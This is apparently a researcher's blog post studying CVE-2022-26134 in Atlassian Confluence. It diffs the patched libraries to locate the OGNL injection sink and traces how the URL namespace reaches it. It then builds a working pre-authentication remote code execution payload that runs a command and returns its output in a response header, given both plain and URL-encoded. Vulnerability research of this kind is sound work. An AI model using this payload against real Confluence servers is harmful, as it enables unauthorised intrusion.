Home Studying old CVEs: Part 2 - CVE-2022-26134
Post
Cancel

Studying old CVEs: Part 2 - CVE-2022-26134

In this episode, we will investigate CVE-2022-26134 of Atlassian Confluence. A preauth OGNL injection leading to Remote Code Execution.

CVE-2022-26134

Details and information gathering

Advisories below are more than enough to start analyzing the CVE.

https://nvd.nist.gov/vuln/detail/CVE-2022-26134

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

Fixed versions,

1
2
3
4
5
6
7
7.4.17
7.13.7
7.14.3
7.15.2
7.16.4
7.17.4
7.18.1

The diff was huge.

I struggled finding the sinkhole for a while, looked at the changes but couldn’t make much progress.

Reading the documents properly

I should have maybe read the advisory properly before starting to look at the things.

It is clearly stated in the advisory that the patch to the vulnerability could be applied by just changing the files below. This will save us huge amount of time now.

Changed files,

1
2
3
* xwork-1.0.3-atlassian-10.jar
* webwork-2.1.5-atlassian-4.jar
* CachedConfigurationProvider.class

Let’s decompile them

1
2
find . -exec find {} -type f -name "*.jar" \; | xa
rgs -I {} /opt/jadx/bin/jadx -d decompiled {} --comments-level none

Looking at the diffs now we can see that there are a few changes. Java files are the only ones that are important. Some class files could be shown as changed but they may not be. We need to rely on the decompiled versions, java files.

There are couple of java files that stood out.

I also used intellij to check the difference

Investigation begins

After looking at the differences this code block below was the only one that stood out. Knowing that the vulnerability is an OGNL injection, it seemed like a good starting point to investigate things as it had a patch removing the OgnlValueStack.

1
2
3
4
5
-OgnlValueStack stack = ActionContext.getContext().getValueStack();
-String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
-String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
+String finalNamespace = this.namespace;
+String finalActionName = this.actionName;

TextParseUtil.class,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.opensymphony.xwork.util;

import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class TextParseUtil {
    public TextParseUtil() {
    }

    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);

        int previous;
        for(previous = 0; m.find(); previous = m.end()) {
            String g = m.group(1);
            int start = m.start();

            String value;
            try {
                Object o = stack.findValue(g);
                value = o == null ? "" : o.toString();
            } catch (Exception var10) {
                value = "";
            }

            sb.append(expression.substring(previous, start)).append(value);
        }

        if (previous < expression.length()) {
            sb.append(expression.substring(previous));
        }

        return sb.toString();
    }
}

It first matches a pattern. If the pattern is matched

it calls stack.findValue on the matched value resulting in the OGNL evaluation.

The text ${7*7} matches with the expression \$\{([^}]*)\} or basically ${<INJECTION>}

In the ActionChainResult.class of xwork library. TextParseUtil.translateVariables method is called on this.namespace and this.actionName.

If we can control any of those variables, we can get OGNL injection and therefore code execution.

Let’s take a look this.actionName and this.namespace

They are declared as private variables inside ActionChainResult.class ,

1
2
3
4
5
6
7
public class ActionChainResult implements Result {
    private static final Log log = LogFactory.getLog(ActionChainResult.class);
    public static final String DEFAULT_PARAM = "actionName";
    private static final String CHAIN_HISTORY = "CHAIN_HISTORY";
    private ActionProxy proxy;
    private String actionName;
    private String namespace;

Before reaching to the patched location

com.opensymphony.xwork.ActionChainResult.execute(),

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 public void execute(ActionInvocation invocation) throws Exception {
        if (this.namespace == null) {
            this.namespace = invocation.getProxy().getNamespace();
        }

        OgnlValueStack stack = ActionContext.getContext().getValueStack();
        String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
        String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
        if (this.isInChainHistory(finalNamespace, finalActionName)) {
            throw new XworkException("infinite recursion detected");
        } else {
            this.addToHistory(finalNamespace, finalActionName);
            HashMap extraContext = new HashMap();
            extraContext.put("com.opensymphony.xwork.util.OgnlValueStack.ValueStack", ActionContext.getContext().getValueStack());
            extraContext.put("com.opensymphony.xwork.ActionContext.parameters", ActionContext.getContext().getParameters());
            extraContext.put("com.opensymphony.xwork.interceptor.component.ComponentManager", ActionContext.getContext().get("com.opensymphony.xwork.interceptor.component.ComponentManager"));
            extraContext.put("CHAIN_HISTORY", ActionContext.getContext().get("CHAIN_HISTORY"));
            if (log.isDebugEnabled()) {
                log.debug("Chaining to action " + finalActionName);
            }

            this.proxy = ActionProxyFactory.getFactory().createActionProxy(finalNamespace, finalActionName, extraContext);
            this.proxy.execute();
        }
    }

If block below is performed

1
2
3
 if (this.namespace == null) {
            this.namespace = invocation.getProxy().getNamespace();
        }

I’ve set break points and send some requests.

As the name was ActionChainResult I thought finding an action could have been a good starting point.

While going through the templates I found the template below.

http://confluence:8090/fixonly/updatelicense.vm

It had no protection, I could access it without any privs.

It has a form that sends a post request to action /fixonly/dofixupdatelicense.action

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /fixonly/dofixupdatelicense.action HTTP/1.1
Host: confluence:8090
Content-Length: 39
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://confluence:8090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://confluence:8090/fixonly/updatelicense.vm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=6F94CBB1A7AD2B6FAB410B455DA81924
Connection: close

licenseString=123123&update=update.name

It hit the breakpoint and now we can see how the namespace and actionName are being parsed.

Post request to /fixonly/dofixupdatelicense.action resulted in

1
2
this.namespace -> /fixonly
this.actionName -> notpermitted

It looked like namespace would be something I could easily control but the action name is not.

I tried some basic injections but it didn’t work. It somehow did not hit the breakpoint.

${7*7}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /%24%7b%37%2a%37%7d/dofixupdatelicense.action HTTP/1.1
Host: confluence:8090
Content-Length: 39
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://confluence:8090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://confluence:8090/fixonly/updatelicense.vm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=6F94CBB1A7AD2B6FAB410B455DA81924
Connection: close

licenseString=123123&update=update.name

Investigating the call stack I found how the actionName and namespace are being parsed precisely.

Inside com.opensymphony.webwork.dispatcher.ServletDispatcher class we have the methods below that sets those variable,

1
2
3
4
5
    protected String getActionName(String name) {
        int beginIdx = name.lastIndexOf("/");
        int endIdx = name.lastIndexOf(".");
        return name.substring(beginIdx == -1 ? 0 : beginIdx + 1, endIdx == -1 ? name.length() : endIdx);
    }
1
2
3
4
   public static String getNamespaceFromServletPath(String servletPath) {
        servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
        return servletPath;
    }

Sending a get request to /foobar resulted in sort of a hidden fourohfour.action and there was no servletPath on it. Therefore, it did not hit the break point I set inside com.opensymphony.xwork.ActionChainResult.execute().

However, when sending the foobar with a / at the end. It appends an action at the end of it /index.action thinking like there is an actual page there. This results in processing of namespace and action fully so we can reach the sinkhole. As you can see the action is index.action

Proof of Concept

That means that we can send /${7*7}/ and it should hopefully be OGNL evaluated

Aaaand it indeed does. We can see our lovely 49 in the finalNamespace

Url encoded version : /%24%7b%37%2a%37%7d/

Getting code execution

Let’s exploit it by using the payload we’ve used before in https://morph3.blog/posts/Studying-old-CVEs-Part-1-CVE-2021-26084/#exploiting

1
${["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")}

And we have code execution !

Weaponizing the exploit

Let’s clean things up a bit and weaponize our exploit

An example code execution will look like below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import org.apache.commons.io.IOUtils;

public class Foo {
    public static void main(String[] args) {
        try {
            // Replace the command with the actual command you want to run
            Process process = Runtime.getRuntime().exec("your_command_here");

            // Get the input stream from the process
            String result = IOUtils.toString(process.getInputStream(), "UTF-8");

            // Print or use the result as needed
            System.out.println(result);

            // Wait for the process to finish
            int exitCode = process.waitFor();
            System.out.println("Exit code: " + exitCode);

        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}

We can set a header in the response with the method below,

com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("","")

We can execute code like below,

@java.lang.Runtime@getRuntime().exec("id").getInputStream()

We can call toString from IOUtils to capture the output of the exec method

@org.apache.commons.io.IOUtils@toString()

Combining all we have a very nice fileless code execution,

1
${(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("Output",@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream())))}

http://confluence:8090/%24%7b%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%77%65%62%77%6f%72%6b%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%73%65%74%48%65%61%64%65%72%28%22%4f%75%74%70%75%74%22%2c%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%64%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%29%7d/

References

This post is licensed under CC BY 4.0 by the author.